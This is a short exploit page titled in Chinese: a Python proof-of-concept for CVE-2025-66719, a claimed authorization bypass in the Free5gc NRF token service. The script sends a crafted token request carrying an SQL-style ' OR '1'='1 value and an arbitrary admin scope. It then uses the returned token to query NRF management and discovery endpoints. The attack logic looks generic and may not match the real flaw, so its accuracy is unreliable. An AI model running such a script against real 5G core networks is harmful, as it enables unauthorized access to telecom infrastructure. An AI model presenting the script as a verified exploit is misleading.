CVE-2025-66719 Free5gc NRF AccessTokenScopeCheck权限绕过漏洞

import requests import json # CVE-2025-66719 PoC - Free5gc NRF AccessTokenScopeCheck Bypass # Target: Free5gc NRF 1.4.0 def exploit_cve_2025_66719(target_url): """ Exploit for CVE-2025-66719: Free5gc NRF AccessTokenScopeCheck Bypass This PoC demonstrates how an attacker can obtain an access token with arbitrary scope by crafting a malicious targetNF value. """ # Step 1: Prepare the malicious access token request # The vulnerability allows bypassing scope validation with crafted targetNF exploit_data = { "grant_type": "client_credentials", "nrfUri": target_url, "targetNF": "' OR '1'='1", # Crafted value to bypass scope check "scope": "nrf-signaling admin full-access", # Arbitrary high-privilege scope "clientId": "malicious-client" } # Step 2: Send the exploit request to NRF token endpoint token_endpoint = f"{target_url}/oauth2/token" headers = { "Content-Type": "application/json", "Authorization": "Basic bWFsdWNpb3VzLWNsaWVudDptYWx1Y2lvdXMtc2VjcmV0" } try: response = requests.post(token_endpoint, json=exploit_data, headers=headers, timeout=10) if response.status_code == 200: token_data = response.json() access_token = token_data.get("access_token") print(f"[!] Exploit Successful!") print(f"[!] Obtained Access Token with elevated scope") print(f"[!] Token: {access_token[:50]}...") # Step 3: Use the token to access protected NRF resources # This demonstrates full compromise of the NRF component protected_endpoints = [ "/nnrf-nfm/v1/nf-instances", "/nnrf-disc/v1/nf-discovery", "/oauth2/nf-registry" ] for endpoint in protected_endpoints: req = requests.get( f"{target_url}{endpoint}", headers={"Authorization": f"Bearer {access_token}"} ) print(f"[*] Access to {endpoint}: {req.status_code}") return access_token else: print(f"[*] Request failed with status: {response.status_code}") print(f"[*] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return None if __name__ == "__main__": target = "http://target-nrf:8000" exploit_cve_2025_66719(target)